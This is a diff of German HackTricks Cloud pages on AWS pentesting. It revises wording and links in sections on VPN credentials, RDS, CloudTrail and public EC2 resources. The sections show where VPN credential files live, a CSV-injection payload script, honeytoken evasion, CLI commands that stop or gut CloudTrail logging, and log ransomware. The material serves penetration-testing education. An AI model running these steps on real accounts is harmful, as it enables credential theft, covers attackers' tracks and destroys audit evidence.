- Sie geben Routing-Informationen und die öffentliche IP-Adresse Ihres Netzwerkgeräts (wie einen Router oder eine Firewall) an AWS weiter, um ein Customer Gateway zu erstellen.
|
||||
- Es dient als Referenzpunkt für die Einrichtung der VPN-Verbindung und verursacht keine zusätzlichen Kosten.
|
||||
2. **Virtual Private Gateway**:
|
||||
- Ein Virtual Private Gateway (VPG) ist der VPN-Konzentrator auf der Amazon-Seite der Site-to-Site VPN-Verbindung.
|
||||
- Es ist an Ihre VPC angehängt und dient als Ziel für Ihre VPN-Verbindung.
|
||||
- Es ist an Ihre VPC angeschlossen und dient als Ziel für Ihre VPN-Verbindung.
|
||||
- VPG ist der AWS-Seitenendpunkt für die VPN-Verbindung.
|
||||
- Es verwaltet die sichere Kommunikation zwischen Ihrer VPC und Ihrem On-Premises-Netzwerk.
|
||||
3. **Site-to-Site VPN Connection**:
|
||||
- Eine Site-to-Site VPN-Verbindung verbindet Ihr On-Premises-Netzwerk mit einer VPC über einen sicheren IPsec VPN-Tunnel.
|
||||
- Es verwaltet die sichere Kommunikation zwischen Ihrer VPC und Ihrem lokalen Netzwerk.
|
||||
3. **Site-to-Site VPN-Verbindung**:
|
||||
- Eine Site-to-Site VPN-Verbindung verbindet Ihr lokales Netzwerk über einen sicheren IPsec VPN-Tunnel mit einer VPC.
|
||||
- Diese Art von Verbindung erfordert ein Customer Gateway und ein Virtual Private Gateway.
|
||||
- Es wird für sichere, stabile und konsistente Kommunikation zwischen Ihrem Rechenzentrum oder Netzwerk und Ihrer AWS-Umgebung verwendet.
|
||||
- Typischerweise für regelmäßige, langfristige Verbindungen verwendet und wird basierend auf der Menge der über die Verbindung übertragenen Daten abgerechnet.
|
||||
4. **Client VPN Endpoint**:
|
||||
- Typischerweise für regelmäßige, langfristige Verbindungen genutzt und wird basierend auf der Menge der über die Verbindung übertragenen Daten abgerechnet.
|
||||
4. **Client VPN-Endpunkt**:
|
||||
- Ein Client VPN-Endpunkt ist eine Ressource, die Sie in AWS erstellen, um Client-VPN-Sitzungen zu aktivieren und zu verwalten.
|
||||
- Es wird verwendet, um einzelnen Geräten (wie Laptops, Smartphones usw.) eine sichere Verbindung zu AWS-Ressourcen oder Ihrem On-Premises-Netzwerk zu ermöglichen.
|
||||
- Es wird verwendet, um einzelnen Geräten (wie Laptops, Smartphones usw.) eine sichere Verbindung zu AWS-Ressourcen oder Ihrem lokalen Netzwerk zu ermöglichen.
|
||||
- Es unterscheidet sich vom Site-to-Site VPN, da es für einzelne Clients und nicht für die Verbindung ganzer Netzwerke konzipiert ist.
|
||||
- Mit Client VPN verwendet jedes Client-Gerät eine VPN-Client-Software, um eine sichere Verbindung herzustellen.
|
||||
|
||||
Sie können [**hier weitere Informationen zu den Vorteilen und Komponenten von AWS VPNs finden**](aws-vpc-and-networking-basic-information.md#vpn).
|
||||
Sie können [**hier mehr Informationen über die Vorteile und Komponenten von AWS VPNs finden**](aws-vpc-and-networking-basic-information.md#vpn).
|
||||
|
||||
### Enumeration
|
||||
```bash
|
||||
@@ -293,13 +293,13 @@ aws ec2 describe-vpn-connections
|
||||
|
||||
**Lokale temporäre Anmeldeinformationen**
|
||||
|
||||
Wenn der AWS VPN-Client verwendet wird, um eine VPN-Verbindung herzustellen, meldet sich der Benutzer normalerweise **bei AWS an**, um Zugriff auf das VPN zu erhalten. Dann werden einige **AWS-Anmeldeinformationen erstellt und lokal gespeichert**, um die VPN-Verbindung herzustellen. Diese Anmeldeinformationen werden **gespeichert in** `$HOME/.config/AWSVPNClient/TemporaryCredentials/<region>/temporary-credentials.txt` und enthalten einen **AccessKey**, einen **SecretKey** und ein **Token**.
|
||||
Wenn der AWS VPN-Client verwendet wird, um eine Verbindung zu einem VPN herzustellen, meldet sich der Benutzer normalerweise **bei AWS an**, um Zugriff auf das VPN zu erhalten. Dann werden einige **AWS-Anmeldeinformationen erstellt und lokal gespeichert**, um die VPN-Verbindung herzustellen. Diese Anmeldeinformationen werden **gespeichert in** `$HOME/.config/AWSVPNClient/TemporaryCredentials/<region>/temporary-credentials.txt` und enthalten einen **AccessKey**, einen **SecretKey** und ein **Token**.
|
||||
|
||||
Die Anmeldeinformationen gehören zum Benutzer `arn:aws:sts::<acc-id>:assumed-role/aws-vpn-client-metrics-analytics-access-role/CognitoIdentityCredentials` (TODO: mehr über die Berechtigungen dieser Anmeldeinformationen recherchieren).
|
||||
|
||||
**opvn-Konfigurationsdateien**
|
||||
|
||||
Wenn eine **VPN-Verbindung hergestellt wurde**, sollten Sie nach **`.opvn`**-Konfigurationsdateien im System suchen. Darüber hinaus ist ein Ort, an dem Sie die **Konfigurationen** finden könnten, **`$HOME/.config/AWSVPNClient/OpenVpnConfigs`**
|
||||
Wenn eine **VPN-Verbindung hergestellt wurde**, sollten Sie nach **`.opvn`**-Konfigurationsdateien im System suchen. Darüber hinaus ist ein Ort, an dem Sie die **Konfigurationen** finden könnten, **`$HOME/.config/AWSVPNClient/OpenVpnConfigs`**.
|
||||
|
||||
#### **Post-Exploitation**
|
||||
|
||||
|
||||
@@ -4,7 +4,7 @@
|
||||
|
||||
## Grundinformationen
|
||||
|
||||
Der **Relational Database Service (RDS)**, der von AWS angeboten wird, ist darauf ausgelegt, die Bereitstellung, den Betrieb und die Skalierung einer **relationalen Datenbank in der Cloud** zu optimieren. Dieser Dienst bietet die Vorteile von Kosteneffizienz und Skalierbarkeit, während arbeitsintensive Aufgaben wie Hardwarebereitstellung, Datenbankkonfiguration, Patching und Backups automatisiert werden.
|
||||
Der **Relational Database Service (RDS)**, der von AWS angeboten wird, ist darauf ausgelegt, die Bereitstellung, den Betrieb und die Skalierung einer **relationalen Datenbank in der Cloud** zu optimieren. Dieser Dienst bietet die Vorteile von Kosteneffizienz und Skalierbarkeit, während arbeitsintensive Aufgaben wie Hardwarebereitstellung, Datenbankkonfiguration, Patchen und Backups automatisiert werden.
|
||||
|
||||
AWS RDS unterstützt verschiedene weit verbreitete relationale Datenbank-Engines, darunter MySQL, PostgreSQL, MariaDB, Oracle Database, Microsoft SQL Server und Amazon Aurora, mit Kompatibilität für sowohl MySQL als auch PostgreSQL.
|
||||
|
||||
@@ -16,13 +16,13 @@ Wichtige Funktionen von RDS sind:
|
||||
- **Integration** mit anderen AWS-Diensten, wie:
|
||||
- AWS Identity and Access Management (**IAM**) für robuste Zugriffskontrolle.
|
||||
- AWS **CloudWatch** für umfassende Überwachung und Metriken.
|
||||
- AWS Key Management Service (**KMS**) zur Gewährleistung der Verschlüsselung im Ruhezustand.
|
||||
- AWS Key Management Service (**KMS**) zur Sicherstellung der Verschlüsselung im Ruhezustand.
|
||||
|
||||
## Anmeldeinformationen
|
||||
|
||||
Beim Erstellen des DB-Clusters kann der Master-**Benutzername** konfiguriert werden (**`admin`** standardmäßig). Um das Passwort dieses Benutzers zu generieren, können Sie:
|
||||
|
||||
- **Ein Passwort** selbst angeben
|
||||
- **Ein Passwort** selbst **angeben**
|
||||
- RDS anweisen, es **automatisch zu generieren**
|
||||
- RDS anweisen, es im **AWS Secret Manager** zu verwalten, verschlüsselt mit einem KMS-Schlüssel
|
||||
|
||||
@@ -55,7 +55,7 @@ Es gibt jedoch einen **Workaround, der es Ihnen ermöglicht, eine unverschlüsse
|
||||
|
||||
Neben den Verschlüsselungsfunktionen, die RDS auf Anwendungsebene bietet, unterstützt RDS auch **zusätzliche plattformseitige Verschlüsselungsmechanismen**, um Daten im Ruhezustand zu schützen. Dazu gehört die **Transparente Datenverschlüsselung (TDE)** für Oracle und SQL Server. Es ist jedoch wichtig zu beachten, dass TDE zwar die Sicherheit erhöht, indem es Daten im Ruhezustand verschlüsselt, es jedoch auch **die Datenbankleistung beeinträchtigen kann**. Diese Leistungsbeeinträchtigung ist besonders bemerkbar, wenn sie in Verbindung mit MySQL-Kryptografiefunktionen oder Microsoft Transact-SQL-Kryptografiefunktionen verwendet wird.
|
||||
|
||||
Um TDE zu nutzen, sind bestimmte Vorbereitungen erforderlich:
|
||||
Um TDE zu nutzen, sind bestimmte vorbereitende Schritte erforderlich:
|
||||
|
||||
1. **Option Group Association**:
|
||||
- Die Datenbank muss mit einer Optionsgruppe verbunden sein. Optionsgruppen dienen als Container für Einstellungen und Funktionen und erleichtern die Datenbankverwaltung, einschließlich Sicherheitsverbesserungen.
|
||||
@@ -134,7 +134,7 @@ aws rds modify-db-instance --db-instance-identifier <ID> --master-user-password
|
||||
Es gibt Möglichkeiten, auf DynamoDB-Daten mit **SQL-Syntax** zuzugreifen, daher sind typische **SQL-Injektionen ebenfalls möglich**.
|
||||
|
||||
{{#ref}}
|
||||
https://book.hacktricks.xyz/pentesting-web/sql-injection
|
||||
https://book.hacktricks.wiki/en/pentesting-web/sql-injection/index.html
|
||||
{{#endref}}
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -19,22 +19,22 @@ Jedes protokollierte Ereignis enthält:
|
||||
- Die Anforderungsparameter: `requestParameters`
|
||||
- Die Antwortelemente: `responseElements`
|
||||
|
||||
Ereignisse werden **ungefähr alle 5 Minuten in einer JSON-Datei in eine neue Protokolldatei geschrieben**, sie werden von CloudTrail gehalten und schließlich werden die Protokolldateien **ungefähr 15 Minuten später an S3 geliefert**.\
|
||||
Ereignisse werden **ungefähr alle 5 Minuten in einer JSON-Datei** in eine neue Protokolldatei geschrieben, sie werden von CloudTrail gehalten und schließlich werden die Protokolldateien **ungefähr 15 Minuten später an S3 geliefert**.\
|
||||
CloudTrails Protokolle können **über Konten und Regionen aggregiert werden.**\
|
||||
CloudTrail ermöglicht die Verwendung von **Protokolldateiintegrität, um zu überprüfen, dass Ihre Protokolldateien seit der Lieferung durch CloudTrail unverändert geblieben sind**. Es erstellt einen SHA-256-Hash der Protokolle in einer Digest-Datei. Ein sha-256-Hash der neuen Protokolle wird jede Stunde erstellt.\
|
||||
Beim Erstellen eines Trails ermöglichen es die Ereigniswähler, den Trail anzugeben, der protokolliert werden soll: Management-, Daten- oder Einblickereignisse.
|
||||
CloudTrail ermöglicht die Verwendung von **Protokolldateiintegrität, um zu überprüfen, dass Ihre Protokolldateien seit der Lieferung durch CloudTrail unverändert geblieben sind**. Es erstellt einen SHA-256-Hash der Protokolle in einer Digest-Datei. Ein SHA-256-Hash der neuen Protokolle wird jede Stunde erstellt.\
|
||||
Beim Erstellen eines Trails ermöglichen die Ereigniswähler, den Trail anzugeben, der protokolliert werden soll: Management-, Daten- oder Einsichtsevents.
|
||||
|
||||
Protokolle werden in einem S3-Bucket gespeichert. Standardmäßig wird die serverseitige Verschlüsselung (SSE-S3) verwendet, sodass AWS den Inhalt für die Personen entschlüsselt, die Zugriff darauf haben, aber für zusätzliche Sicherheit können Sie SSE mit KMS und Ihren eigenen Schlüsseln verwenden.
|
||||
Protokolle werden in einem S3-Bucket gespeichert. Standardmäßig wird Server Side Encryption (SSE-S3) verwendet, sodass AWS den Inhalt für die Personen entschlüsselt, die Zugriff darauf haben, aber für zusätzliche Sicherheit können Sie SSE mit KMS und Ihren eigenen Schlüsseln verwenden.
|
||||
|
||||
Die Protokolle werden in einem **S3-Bucket mit diesem Namensformat** gespeichert:
|
||||
|
||||
- **`BucketName/AWSLogs/AccountID/CloudTrail/RegionName/YYY/MM/DD`**
|
||||
- Der BucketName ist: **`aws-cloudtrail-logs-<accountid>-<random>`**
|
||||
- Dabei ist der BucketName: **`aws-cloudtrail-logs-<accountid>-<random>`**
|
||||
- Beispiel: **`aws-cloudtrail-logs-947247140022-ffb95fe7/AWSLogs/947247140022/CloudTrail/ap-south-1/2023/02/22/`**
|
||||
|
||||
Innerhalb jedes Ordners hat jede Protokolldatei einen **Namen, der diesem Format folgt**: **`AccountID_CloudTrail_RegionName_YYYYMMDDTHHMMZ_Random.json.gz`**
|
||||
|
||||
Protokolldateibenennungs-Konvention
|
||||
Protokolldateibenennungskonvention
|
||||
|
||||
.png>)
|
||||
|
||||
@@ -42,13 +42,13 @@ Darüber hinaus werden **Digest-Dateien (zur Überprüfung der Dateiintegrität)
|
||||
|
||||
.png>)
|
||||
|
||||
### Aggregierte Protokolle von mehreren Konten
|
||||
### Protokolle von mehreren Konten aggregieren
|
||||
|
||||
- Erstellen Sie einen Trail im AWS-Konto, in dem Sie die Protokolldateien geliefert bekommen möchten
|
||||
- Erstellen Sie einen Trail im AWS-Konto, in dem die Protokolldateien geliefert werden sollen
|
||||
- Wenden Sie Berechtigungen auf den Ziel-S3-Bucket an, um den Zugriff über Konten für CloudTrail zu ermöglichen, und erlauben Sie jedem AWS-Konto, das Zugriff benötigt
|
||||
- Erstellen Sie einen neuen Trail in den anderen AWS-Konten und wählen Sie aus, den im Schritt 1 erstellten Bucket zu verwenden
|
||||
|
||||
Wenn Sie jedoch alle Protokolle im selben S3-Bucket speichern können, können Sie CloudTrail-Protokolle von mehreren Konten nicht in CloudWatch-Protokolle aggregieren, die zu einem einzelnen AWS-Konto gehören.
|
||||
Wenn Sie jedoch alle Protokolle im selben S3-Bucket speichern können, können Sie CloudTrail-Protokolle von mehreren Konten nicht in CloudWatch-Protokollen aggregieren, die zu einem einzelnen AWS-Konto gehören.
|
||||
|
||||
> [!CAUTION]
|
||||
> Denken Sie daran, dass ein Konto **verschiedene Trails** von CloudTrail **aktiviert** haben kann, die dieselben (oder unterschiedliche) Protokolle in verschiedenen Buckets speichern.
|
||||
@@ -92,11 +92,11 @@ Die Einblicke werden im selben Bucket wie die CloudTrail-Protokolle gespeichert:
|
||||
| Integrität der CloudTrail-Protokolldatei | <ul><li>Überprüfen, ob Protokolle manipuliert wurden (modifiziert oder gelöscht)</li><li><p>Verwendet Digest-Dateien (erstellt Hash für jede Datei)</p><ul><li>SHA-256-Hashing</li><li>SHA-256 mit RSA für digitale Signatur</li><li>privater Schlüssel im Besitz von Amazon</li></ul></li><li>Benötigt 1 Stunde, um eine Digest-Datei zu erstellen (jede Stunde zur vollen Stunde)</li></ul> |
|
||||
| ------------------------------------------ | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ |
|
||||
| Unbefugten Zugriff stoppen | <ul><li><p>Verwenden Sie IAM-Richtlinien und S3-Bucket-Richtlinien</p><ul><li>Sicherheitsteam —> Administratorzugriff</li><li>Prüfer —> Nur-Lese-Zugriff</li></ul></li><li>Verwenden Sie SSE-S3/SSE-KMS, um die Protokolle zu verschlüsseln</li></ul> |
|
||||
| Verhindern, dass Protokolldateien gelöscht werden | <ul><li>Beschränken Sie den Löschzugriff mit IAM- und Bucket-Richtlinien</li><li>Konfigurieren Sie S3 MFA-Löschen</li><li>Validieren Sie mit der Protokolldateivalidierung</li></ul> |
|
||||
| Verhindern, dass Protokolldateien gelöscht werden | <ul><li>Beschränken Sie den Löschzugriff mit IAM- und Bucket-Richtlinien</li><li>Konfigurieren Sie S3 MFA-Löschen</li><li>Überprüfen Sie mit der Protokolldatei-Validierung</li></ul> |
|
||||
|
||||
## Zugriffsberater
|
||||
|
||||
AWS Access Advisor stützt sich auf die letzten 400 Tage der AWS **CloudTrail-Protokolle, um seine Einblicke zu gewinnen**. CloudTrail erfasst eine Historie der AWS-API-Aufrufe und verwandten Ereignisse, die in einem AWS-Konto durchgeführt wurden. Access Advisor nutzt diese Daten, um **zu zeigen, wann Dienste zuletzt aufgerufen wurden**. Durch die Analyse der CloudTrail-Protokolle kann Access Advisor bestimmen, auf welche AWS-Dienste ein IAM-Benutzer oder eine Rolle zugegriffen hat und wann dieser Zugriff stattfand. Dies hilft AWS-Administratoren, informierte Entscheidungen über **die Verfeinerung von Berechtigungen** zu treffen, da sie Dienste identifizieren können, die über längere Zeiträume nicht aufgerufen wurden, und potenziell zu breite Berechtigungen basierend auf realen Nutzungsmustern reduzieren können.
|
||||
AWS Access Advisor stützt sich auf die letzten 400 Tage der AWS **CloudTrail-Protokolle, um seine Einblicke zu gewinnen**. CloudTrail erfasst eine Historie von AWS-API-Aufrufen und verwandten Ereignissen, die in einem AWS-Konto durchgeführt wurden. Access Advisor nutzt diese Daten, um **zu zeigen, wann Dienste zuletzt aufgerufen wurden**. Durch die Analyse der CloudTrail-Protokolle kann Access Advisor bestimmen, auf welche AWS-Dienste ein IAM-Benutzer oder eine Rolle zugegriffen hat und wann dieser Zugriff stattfand. Dies hilft AWS-Administratoren, informierte Entscheidungen über **die Verfeinerung von Berechtigungen** zu treffen, da sie Dienste identifizieren können, die über längere Zeiträume nicht aufgerufen wurden, und möglicherweise übermäßig breite Berechtigungen basierend auf realen Nutzungsmustern reduzieren können.
|
||||
|
||||
> [!TIP]
|
||||
> Daher informiert der Zugriffsberater über **die unnötigen Berechtigungen, die Benutzern erteilt werden**, sodass der Administrator sie entfernen kann
|
||||
@@ -124,7 +124,7 @@ aws cloudtrail get-query-results --event-data-store <data-source> --query-id <id
|
||||
```
|
||||
### **CSV Injection**
|
||||
|
||||
Es ist möglich, eine CVS-Injektion innerhalb von CloudTrail durchzuführen, die beliebigen Code ausführt, wenn die Protokolle im CSV-Format exportiert und mit Excel geöffnet werden.\
|
||||
Es ist möglich, eine CVS-Injektion innerhalb von CloudTrail durchzuführen, die willkürlichen Code ausführt, wenn die Protokolle im CSV-Format exportiert und mit Excel geöffnet werden.\
|
||||
Der folgende Code generiert einen Protokolleintrag mit einem schlechten Trail-Namen, der die Payload enthält:
|
||||
```python
|
||||
import boto3
|
||||
@@ -139,7 +139,7 @@ print(response)
|
||||
Für weitere Informationen zu CSV-Injektionen siehe die Seite:
|
||||
|
||||
{{#ref}}
|
||||
https://book.hacktricks.xyz/pentesting-web/formula-injection
|
||||
https://book.hacktricks.wiki/en/pentesting-web/formula-csv-doc-latex-ghostscript-injection.html
|
||||
{{#endref}}
|
||||
|
||||
Für weitere Informationen zu dieser speziellen Technik siehe [https://rhinosecuritylabs.com/aws/cloud-security-csv-injection-aws-cloudtrail/](https://rhinosecuritylabs.com/aws/cloud-security-csv-injection-aws-cloudtrail/)
|
||||
@@ -157,7 +157,7 @@ Allerdings verwenden Honeytokens wie die von [**Canarytokens**](https://canaryto
|
||||
- Wenn **`canarytokens.org`** im Rollennamen erscheint oder die Konto-ID **`534261010715`** in der Fehlermeldung erscheint.
|
||||
- Bei neueren Tests verwenden sie das Konto **`717712589309`** und haben immer noch den **`canarytokens.com`**-String im Namen.
|
||||
- Wenn **`SpaceCrab`** im Rollennamen in der Fehlermeldung erscheint.
|
||||
- **SpaceSiren** verwendet **uuids** zur Generierung von Benutzernamen: `[a-f0-9]{8}-[a-f0-9]{4}-4[a-f0-9]{3}-[89aAbB][a-f0-9]{3}-[a-f0-9]{12}`
|
||||
- **SpaceSiren** verwendet **uuids**, um Benutzernamen zu generieren: `[a-f0-9]{8}-[a-f0-9]{4}-4[a-f0-9]{3}-[89aAbB][a-f0-9]{3}-[a-f0-9]{12}`
|
||||
- Wenn der **Name zufällig generiert aussieht**, gibt es hohe Wahrscheinlichkeiten, dass es sich um ein HoneyToken handelt.
|
||||
|
||||
#### Holen Sie sich die Konto-ID aus der Schlüssel-ID
|
||||
@@ -183,22 +183,22 @@ print("account id:" + "{:012d}".format(AWSAccount_from_AWSKeyID("ASIAQNZGKIQY56J
|
||||
```
|
||||
Überprüfen Sie weitere Informationen in der [**originalen Forschung**](https://medium.com/@TalBeerySec/a-short-note-on-aws-key-id-f88cc4317489).
|
||||
|
||||
#### Kein Protokoll generieren
|
||||
#### Protokoll nicht generieren
|
||||
|
||||
Die effektivste Technik dafür ist tatsächlich eine einfache. Verwenden Sie einfach den Schlüssel, den Sie gerade gefunden haben, um auf einen Dienst in Ihrem eigenen Angreiferkonto zuzugreifen. Dies wird **CloudTrail dazu bringen, ein Protokoll in IHREM EIGENEN AWS-Konto und nicht im Konto des Opfers zu generieren**.
|
||||
Die effektivste Technik dafür ist tatsächlich eine einfache. Verwenden Sie einfach den Schlüssel, den Sie gerade gefunden haben, um auf einen Dienst in Ihrem eigenen Angreifer-Konto zuzugreifen. Dadurch wird **CloudTrail ein Protokoll in IHREM EIGENEN AWS-Konto und nicht im Konto des Opfers** erstellen.
|
||||
|
||||
Das Problem ist, dass die Ausgabe Ihnen einen Fehler anzeigen wird, der die Kontonummer und den Kontonamen angibt, sodass **Sie sehen können, ob es sich um ein Honeytoken handelt**.
|
||||
Das Problem ist, dass die Ausgabe Ihnen einen Fehler anzeigt, der die Kontonummer und den Kontonamen angibt, sodass **Sie sehen können, ob es sich um ein Honeytoken handelt**.
|
||||
|
||||
#### AWS-Dienste ohne Protokolle
|
||||
|
||||
In der Vergangenheit gab es einige **AWS-Dienste, die keine Protokolle an CloudTrail senden** (finden Sie eine [Liste hier](https://docs.aws.amazon.com/awscloudtrail/latest/userguide/cloudtrail-unsupported-aws-services.html)). Einige dieser Dienste werden **antworten** mit einem **Fehler**, der die **ARN der Schlüsselrolle** enthält, wenn jemand Unbefugtes (der Honeytoken-Schlüssel) versucht, darauf zuzugreifen.
|
||||
In der Vergangenheit gab es einige **AWS-Dienste, die keine Protokolle an CloudTrail senden** (finden Sie eine [Liste hier](https://docs.aws.amazon.com/awscloudtrail/latest/userguide/cloudtrail-unsupported-aws-services.html)). Einige dieser Dienste werden mit einem **Fehler** antworten, der die **ARN der Schlüsselrolle** enthält, wenn jemand Unbefugtes (der Honeytoken-Schlüssel) versucht, darauf zuzugreifen.
|
||||
|
||||
Auf diese Weise kann ein **Angreifer die ARN des Schlüssels erhalten, ohne ein Protokoll auszulösen**. In der ARN kann der Angreifer die **AWS-Kontonummer und den Namen** sehen, es ist einfach, die Kontonummern und Namen der HoneyToken-Unternehmen zu kennen, sodass ein Angreifer auf diese Weise identifizieren kann, ob das Token ein HoneyToken ist.
|
||||
Auf diese Weise kann ein **Angreifer die ARN des Schlüssels erhalten, ohne ein Protokoll auszulösen**. In der ARN kann der Angreifer die **AWS-Kontonummer und den Namen** sehen, es ist einfach, die Kontonummern und Namen der HoneyToken-Unternehmen zu kennen, sodass ein Angreifer auf diese Weise feststellen kann, ob das Token ein HoneyToken ist.
|
||||
|
||||
.png>)
|
||||
|
||||
> [!CAUTION]
|
||||
> Beachten Sie, dass alle öffentlichen APIs, die entdeckt wurden, um keine CloudTrail-Protokolle zu erstellen, jetzt behoben sind, also müssen Sie möglicherweise Ihre eigenen finden...
|
||||
> Beachten Sie, dass alle öffentlichen APIs, die entdeckt wurden, keine CloudTrail-Protokolle zu erstellen, jetzt behoben sind, sodass Sie möglicherweise Ihre eigenen finden müssen...
|
||||
>
|
||||
> Für weitere Informationen überprüfen Sie die [**originale Forschung**](https://rhinosecuritylabs.com/aws/aws-iam-enumeration-2-0-bypassing-cloudtrail-logging/).
|
||||
|
||||
@@ -228,7 +228,7 @@ aws cloudtrail stop-logging --name [trail-name]
|
||||
```bash
|
||||
aws cloudtrail update-trail --name [trail-name] --no-is-multi-region --no-include-global-services
|
||||
```
|
||||
#### Protokollierung durch Ereigniswähler deaktivieren
|
||||
#### Protokollierung durch Ereignis-Selektoren deaktivieren
|
||||
```bash
|
||||
# Leave only the ReadOnly selector
|
||||
aws cloudtrail put-event-selectors --trail-name <trail_name> --event-selectors '[{"ReadWriteType": "ReadOnly"}]' --region <region>
|
||||
@@ -244,33 +244,33 @@ Sie können den Ereignis-Selektor basierend auf Ihren spezifischen Anforderungen
|
||||
```bash
|
||||
aws s3api put-bucket-lifecycle --bucket <bucket_name> --lifecycle-configuration '{"Rules": [{"Status": "Enabled", "Prefix": "", "Expiration": {"Days": 7}}]}' --region <region>
|
||||
```
|
||||
### Modifizieren der Bucket-Konfiguration
|
||||
### Modifying Bucket Configuration
|
||||
|
||||
- Löschen Sie den S3-Bucket
|
||||
- Ändern Sie die Bucket-Richtlinie, um alle Schreibvorgänge vom CloudTrail-Dienst zu verweigern
|
||||
- Fügen Sie eine Lebenszyklusrichtlinie zum S3-Bucket hinzu, um Objekte zu löschen
|
||||
- Deaktivieren Sie den KMS-Schlüssel, der zum Verschlüsseln der CloudTrail-Protokolle verwendet wird
|
||||
|
||||
### Cloudtrail Ransomware
|
||||
### Cloudtrail ransomware
|
||||
|
||||
#### S3 Ransomware
|
||||
#### S3 ransomware
|
||||
|
||||
Sie könnten **einen asymmetrischen Schlüssel generieren** und **CloudTrail die Daten mit diesem Schlüssel verschlüsseln** und **den privaten Schlüssel löschen**, sodass die Inhalte von CloudTrail nicht wiederhergestellt werden können.\
|
||||
Dies ist im Grunde eine **S3-KMS Ransomware**, die in:
|
||||
Dies ist im Grunde eine **S3-KMS-Ransomware**, die in folgendem erklärt wird:
|
||||
|
||||
{{#ref}}
|
||||
../../aws-post-exploitation/aws-s3-post-exploitation.md
|
||||
{{#endref}}
|
||||
|
||||
**KMS Ransomware**
|
||||
**KMS ransomware**
|
||||
|
||||
Dies ist der einfachste Weg, den vorherigen Angriff mit unterschiedlichen Berechtigungsanforderungen durchzuführen:
|
||||
Dies ist der einfachste Weg, um den vorherigen Angriff mit unterschiedlichen Berechtigungsanforderungen durchzuführen:
|
||||
|
||||
{{#ref}}
|
||||
../../aws-post-exploitation/aws-kms-post-exploitation.md
|
||||
{{#endref}}
|
||||
|
||||
## **Referenzen**
|
||||
## **References**
|
||||
|
||||
- [https://cloudsecdocs.com/aws/services/logging/cloudtrail/#inventory](https://cloudsecdocs.com/aws/services/logging/cloudtrail/#inventory)
|
||||
|
||||
|
||||
@@ -12,17 +12,17 @@
|
||||
|
||||
### Öffentliche Ports
|
||||
|
||||
Es ist möglich, **jeden Port der virtuellen Maschinen ins Internet zu exponieren**. Abhängig davon, **was auf dem exponierten Port läuft**, könnte ein Angreifer dies ausnutzen.
|
||||
Es ist möglich, **irgendeinen Port der virtuellen Maschinen ins Internet zu exponieren**. Je nachdem, **was auf dem exponierten Port läuft**, könnte ein Angreifer dies ausnutzen.
|
||||
|
||||
#### SSRF
|
||||
|
||||
{{#ref}}
|
||||
https://book.hacktricks.xyz/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf
|
||||
https://book.hacktricks.wiki/en/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.html
|
||||
{{#endref}}
|
||||
|
||||
### Öffentliche AMIs & EBS-Snapshots
|
||||
|
||||
AWS erlaubt es, **jeden Zugang zu gewähren, um AMIs und Snapshots herunterzuladen**. Sie können diese Ressourcen sehr einfach von Ihrem eigenen Konto aus auflisten:
|
||||
AWS erlaubt es, **jeden den Zugriff auf AMIs und Snapshots zu gewähren**. Sie können diese Ressourcen sehr einfach von Ihrem eigenen Konto aus auflisten:
|
||||
```bash
|
||||
# Public AMIs
|
||||
aws ec2 describe-images --executable-users all
|
||||
@@ -37,7 +37,7 @@ aws ec2 describe-images --executable-users all --query 'Images[?contains(ImageLo
|
||||
aws ec2 describe-snapshots --restorable-by-user-ids all
|
||||
aws ec2 describe-snapshots --restorable-by-user-ids all | jq '.Snapshots[] | select(.OwnerId == "099720109477")'
|
||||
```
|
||||
Wenn Sie einen Snapshot finden, der von jedem wiederhergestellt werden kann, stellen Sie sicher, dass Sie [AWS - EBS Snapshot Dump](https://cloud.hacktricks.xyz/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-ebs-snapshot-dump) auf Anweisungen zum Herunterladen und Ausplündern des Snapshots überprüfen.
|
||||
Wenn Sie einen Snapshot finden, der von jedem wiederhergestellt werden kann, stellen Sie sicher, dass Sie [AWS - EBS Snapshot Dump](https://cloud.hacktricks.wiki/en/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/index.html#ebs-snapshot-dump) auf Anweisungen zum Herunterladen und Ausplündern des Snapshots überprüfen.
|
||||
|
||||
#### Öffentliches URL-Template
|
||||
```bash
|
||||
|
||||
Reference in New Issue
Block a user